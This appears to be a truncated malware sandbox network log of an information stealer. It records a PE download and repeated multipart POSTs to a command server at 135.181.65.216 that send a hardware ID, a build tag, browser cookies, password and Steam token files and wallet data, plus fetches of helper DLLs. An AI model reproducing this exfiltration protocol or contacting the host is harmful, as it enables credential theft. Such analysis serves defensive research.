00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 24 Dec 2024 21:27:20 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 135.181.65.216Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /ee45b7c5e4cb75cb.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDHCFIJEGCAKJJKEHJJEHost: 135.181.65.216Content-Length: 215Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 48 43 46 49 4a 45 47 43 41 4b 4a 4a 4b 45 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 45 33 44 34 34 37 43 37 30 30 33 32 30 34 39 37 30 30 37 35 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 43 46 49 4a 45 47 43 41 4b 4a 4a 4b 45 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 76 61 6c 65 6e 63 69 67 61 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 43 46 49 4a 45 47 43 41 4b 4a 4a 4b 45 48 4a 4a 45 2d 2d 0d 0a Data Ascii: ------HDHCFIJEGCAKJJKEHJJEContent-Disposition: form-data; name="hwid"3E3D447C7003204970075------HDHCFIJEGCAKJJKEHJJEContent-Disposition: form-data; name="build"valenciga------HDHCFIJEGCAKJJKEHJJE--
Source: global traffic	HTTP traffic detected: POST /ee45b7c5e4cb75cb.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKKKFCFHCFIECBGDHIDHost: 135.181.65.216Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 37 38 65 66 39 61 31 66 66 63 64 34 31 37 38 65 38 38 39 63 30 36 34 65 65 36 66 38 39 62 34 33 30 39 66 65 30 30 38 34 33 66 61 34 63 30 33 62 64 34 62 32 63 36 34 62 31 64 61 66 39 66 66 37 31 61 62 39 65 38 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 2d 2d 0d 0a Data Ascii: ------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="token"c478ef9a1ffcd4178e889c064ee6f89b4309fe00843fa4c03bd4b2c64b1daf9ff71ab9e8------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="message"browsers------IJKKKFCFHCFIECBGDHID--
Source: global traffic	HTTP traffic detected: POST /ee45b7c5e4cb75cb.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFCBKKFBAEHJKEBKFCBHost: 135.181.65.216Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 37 38 65 66 39 61 31 66 66 63 64 34 31 37 38 65 38 38 39 63 30 36 34 65 65 36 66 38 39 62 34 33 30 39 66 65 30 30 38 34 33 66 61 34 63 30 33 62 64 34 62 32 63 36 34 62 31 64 61 66 39 66 66 37 31 61 62 39 65 38 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 42 4b 4b 46 42 41 45 48 4a 4b 45 42 4b 46 43 42 2d 2d 0d 0a Data Ascii: ------CBFCBKKFBAEHJKEBKFCBContent-Disposition: form-data; name="token"c478ef9a1ffcd4178e889c064ee6f89b4309fe00843fa4c03bd4b2c64b1daf9ff71ab9e8------CBFCBKKFBAEHJKEBKFCBContent-Disposition: form-data; name="message"plugins------CBFCBKKFBAEHJKEBKFCB--
Source: global traffic	HTTP traffic detected: POST /ee45b7c5e4cb75cb.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGCFHDAKECFIDGDGDBKJHost: 135.181.65.216Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 37 38 65 66 39 61 31 66 66 63 64 34 31 37 38 65 38 38 39 63 30 36 34 65 65 36 66 38 39 62 34 33 30 39 66 65 30 30 38 34 33 66 61 34 63 30 33 62 64 34 62 32 63 36 34 62 31 64 61 66 39 66 66 37 31 61 62 39 65 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 2d 2d 0d 0a Data Ascii: ------EGCFHDAKECFIDGDGDBKJContent-Disposition: form-data; name="token"c478ef9a1ffcd4178e889c064ee6f89b4309fe00843fa4c03bd4b2c64b1daf9ff71ab9e8------EGCFHDAKECFIDGDGDBKJContent-Disposition: form-data; name="message"fplugins------EGCFHDAKECFIDGDGDBKJ--
Source: global traffic	HTTP traffic detected: POST /ee45b7c5e4cb75cb.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGDHIEGCFHCGDGCAECBGHost: 135.181.65.216Content-Length: 7139Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /4a21a126be249f0d/sqlite3.dll HTTP/1.1Host: 135.181.65.216Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /ee45b7c5e4cb75cb.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIIEGDBAEBFIIDHJJJEBHost: 135.181.65.216Content-Length: 419Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 49 45 47 44 42 41 45 42 46 49 49 44 48 4a 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 37 38 65 66 39 61 31 66 66 63 64 34 31 37 38 65 38 38 39 63 30 36 34 65 65 36 66 38 39 62 34 33 30 39 66 65 30 30 38 34 33 66 61 34 63 30 33 62 64 34 62 32 63 36 34 62 31 64 61 66 39 66 66 37 31 61 62 39 65 38 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 45 47 44 42 41 45 42 46 49 49 44 48 4a 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 79 35 30 65 48 51 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 45 47 44 42 41 45 42 46 49 49 44 48 4a 4a 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 45 47 44 42 41 45 42 46 49 49 44 48 4a 4a 4a 45 42 2d 2d 0d 0a Data Ascii: ------FIIEGDBAEBFIIDHJJJEBContent-Disposition: form-data; name="token"c478ef9a1ffcd4178e889c064ee6f89b4309fe00843fa4c03bd4b2c64b1daf9ff71ab9e8------FIIEGDBAEBFIIDHJJJEBContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------FIIEGDBAEBFIIDHJJJEBContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------FIIEGDBAEBFIIDHJJJEB--
Source: global traffic	HTTP traffic detected: POST /ee45b7c5e4cb75cb.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEBAECAKKFCBFIEGCBKHost: 135.181.65.216Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /ee45b7c5e4cb75cb.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEHIDHJDBFIIECAKECBHost: 135.181.65.216Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 45 48 49 44 48 4a 44 42 46 49 49 45 43 41 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 37 38 65 66 39 61 31 66 66 63 64 34 31 37 38 65 38 38 39 63 30 36 34 65 65 36 66 38 39 62 34 33 30 39 66 65 30 30 38 34 33 66 61 34 63 30 33 62 64 34 62 32 63 36 34 62 31 64 61 66 39 66 66 37 31 61 62 39 65 38 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 49 44 48 4a 44 42 46 49 49 45 43 41 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 49 44 48 4a 44 42 46 49 49 45 43 41 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 49 44 48 4a 44 42 46 49 49 45 43 41 4b 45 43 42 2d 2d 0d 0a Data Ascii: ------GIEHIDHJDBFIIECAKECBContent-Disposition: form-data; name="token"c478ef9a1ffcd4178e889c064ee6f89b4309fe00843fa4c03bd4b2c64b1daf9ff71ab9e8------GIEHIDHJDBFIIECAKECBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GIEHIDHJDBFIIECAKECBContent-Disposition: form-data; name="file"------GIEHIDHJDBFIIECAKECB--
Source: global traffic	HTTP traffic detected: POST /ee45b7c5e4cb75cb.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBFHJDAAFBAKEBGIJKKHost: 135.181.65.216Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 42 46 48 4a 44 41 41 46 42 41 4b 45 42 47 49 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 37 38 65 66 39 61 31 66 66 63 64 34 31 37 38 65 38 38 39 63 30 36 34 65 65 36 66 38 39 62 34 33 30 39 66 65 30 30 38 34 33 66 61 34 63 30 33 62 64 34 62 32 63 36 34 62 31 64 61 66 39 66 66 37 31 61 62 39 65 38 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 46 48 4a 44 41 41 46 42 41 4b 45 42 47 49 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 46 48 4a 44 41 41 46 42 41 4b 45 42 47 49 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 46 48 4a 44 41 41 46 42 41 4b 45 42 47 49 4a 4b 4b 2d 2d 0d 0a Data Ascii: ------IDBFHJDAAFBAKEBGIJKKContent-Disposition: form-data; name="token"c478ef9a1ffcd4178e889c064ee6f89b4309fe00843fa4c03bd4b2c64b1daf9ff71ab9e8------IDBFHJDAAFBAKEBGIJKKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IDBFHJDAAFBAKEBGIJKKContent-Disposition: form-data; name="file"------IDBFHJDAAFBAKEBGIJKK--
Source: global traffic	HTTP traffic detected: GET /4a21a126be249f0d/freebl3.dll HTTP/1.1Host: 135.181.65.216Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /4a21a126be249f0d/mozglue.dll HTTP/1.1Host: 135.181.65.216Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /4a21a126be249f0d/msvcp140.dll HTTP/1.1Host: 135.181.65.216Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /4a21a126be249f0d/nss3.dll HTTP/1.1Host: 135.181.65.216Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /4a21a126be249f0d/softokn3.dll HTTP/1.1Host: 135.181.65.216Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /4a21a126be249f0d/vcruntime140.dll HTTP/1.1Host: 135.181.65.216Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /ee45b7c5e4cb75cb.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAKFIDHDGIEGCAKFIIJKHost: 135.181.65.216Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /ee45b7c5e4cb75cb.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIIIECBGDHJJKFIDAKJHost: 135.181.65.216Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 49 49 49 45 43 42 47 44 48 4a 4a 4b 46 49 44 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 37 38 65 66 39 61 31 66 66 63 64 34 31 37 38 65 38 38 39 63 30 36 34 65 65 36 66 38 39 62 34 33 30 39 66 65 30 30 38 34 33 66 61 34 63 30 33 62 64 34 62 32 63 36 34 62 31 64 61 66 39 66 66 37 31 61 62 39 65 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 49 49 45 43 42 47 44 48 4a 4a 4b 46 49 44 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 49 49 45 43 42 47 44 48 4a 4a 4b 46 49 44 41 4b 4a 2d 2d 0d 0a Data Ascii: ------EGIIIECBGDHJJKFIDAKJContent-Disposition: form-data; name="token"c478ef9a1ffcd4178e889c064ee6f89b4309fe00843fa4c03bd4b2c64b1daf9ff71ab9e8------EGIIIECBGDHJJKFIDAKJContent-Disposition: form-data; name="message"wallets------EGIIIECBGDHJJKFIDAKJ--
Source: global traffic	HTTP traffic detected: POST /ee45b7c5e4cb75cb.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJDBFCAEBFIJJKFHDAECHost: 135.181.65.216Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 42 46 43 41 45 42 46 49 4a 4a 4b 46 48 44 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 37 38 65 66 39 61 31 66 66 63 64 34 31 37 38 65 38 38 39 63 30 36 34 65 65 36 66 38 39 62 34 33 30 39 66 65 30 30 38 34 33 66 61 34 63 30 33 62 64 34 62 32 63 36 34 62 31 64 61 66 39 66 66 37 31 61 62 39 65 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 46 43 41 45 42 46 49 4a 4a 4b 46 48 44 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 46 43 41 45 42 46 49 4a 4a 4b 46 48 44 41 45 43 2d 2d 0d 0a Data Ascii: ------JJDBFCAEBFIJJKFHDAECContent-Disposition: form-data; name="token"c478ef9a1ffcd4178e889c064ee6f89b4309fe00843fa4c03bd4b2c64b1daf9ff71ab9e8------JJDBFCAEBFIJJKFHDAECContent-Disposition: form-data; name="message"files------JJDBFCAEBFIJJKFHDAEC--
Source: global traffic	HTTP traffic detected: POST /ee45b7c5e4cb75cb.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFBGHDGCFHIDBGDGIIIEHost: 135.181.65.216Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 37 38 65 66 39 61 31 66 66 63 64 34 31 37 38 65 38 38 39 63 30 36 34 65 65 36 66 38 39 62 34 33 30 39 66 65 30 30 38 34 33 66 61 34 63 30 33 62 64 34 62 32 63 36 34 62 31 64 61 66 39 66 66 37 31 61 62 39 65 38 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 47 48 44 47 43 46 48 49 44 42 47 44 47 49 49 49 45 2d 2d 0d 0a Data Ascii: ------BFBGHDGCFHIDBGDGIIIEContent-Disposition: form-data; name="token"c478ef9a1ffcd4178e889c064ee6f89b4309fe00843fa4c03bd4b2c64b1daf9ff71ab9e8------BFBGHDGCFHIDBGDGIIIEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BFBGHDGCFHIDBGDGIIIEContent-Disposition: form-data; name="file"------BFBGHDGCFHIDBGDGIIIE--
Source: global traffic	HTTP traffic detected: POST /ee45b7c5e4cb75cb.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDBGDHIIDAEBFHJJDBFIHost: 135.181.65.216Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 37 38 65 66 39 61 31 66 66 63 64 34 31 37 38 65 38 38 39 63 30 36 34 65 65 36 66 38 39 62 34 33 30 39 66 65 30 30 38 34 33 66 61 34 63 30 33 62 64 34 62 32 63 36 34 62 31 64 61 66 39 66 66 37 31 61 62 39 65 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 49 2d 2d 0d 0a Data Ascii: ------JDBGDHIIDAEBFHJJDBFIContent-Disposition: form-data; name="token"c478ef9a1ffcd4178e889c064ee6f89b4309fe00843fa4c03bd4b2c64b1daf9ff71ab9e8------JDBGDHIIDAEBFHJJDBFIContent-Disposition: form-data; name="message"ybncbhylepme------JDBGDHIIDAEBFHJJDBFI--
Source: global traffic	HTTP traffic detected: POST /ee45b7c5e4cb75cb.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBFHJDAAFBAKEBGIJKKHost: 135.181.65.216Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 42 46 48 4a 44 41 41 46 42 41 4b 45 42 47 49 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 37 38 65 66 39 61 31 66 66 63 64 34 31 37 38 65 38 38 39 63 30 36 34 65 65 36 66 38 39 62 34 33 30 39 66 65 30 30 38 34 33 66 61 34 63 30 33 62 64 34 62 32 63 36 34 62 31 64 61 66 39 66 66 37 31 61 62 39 65 38 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 46 48 4a 44 41 41 46 42 41 4b 45 42 47 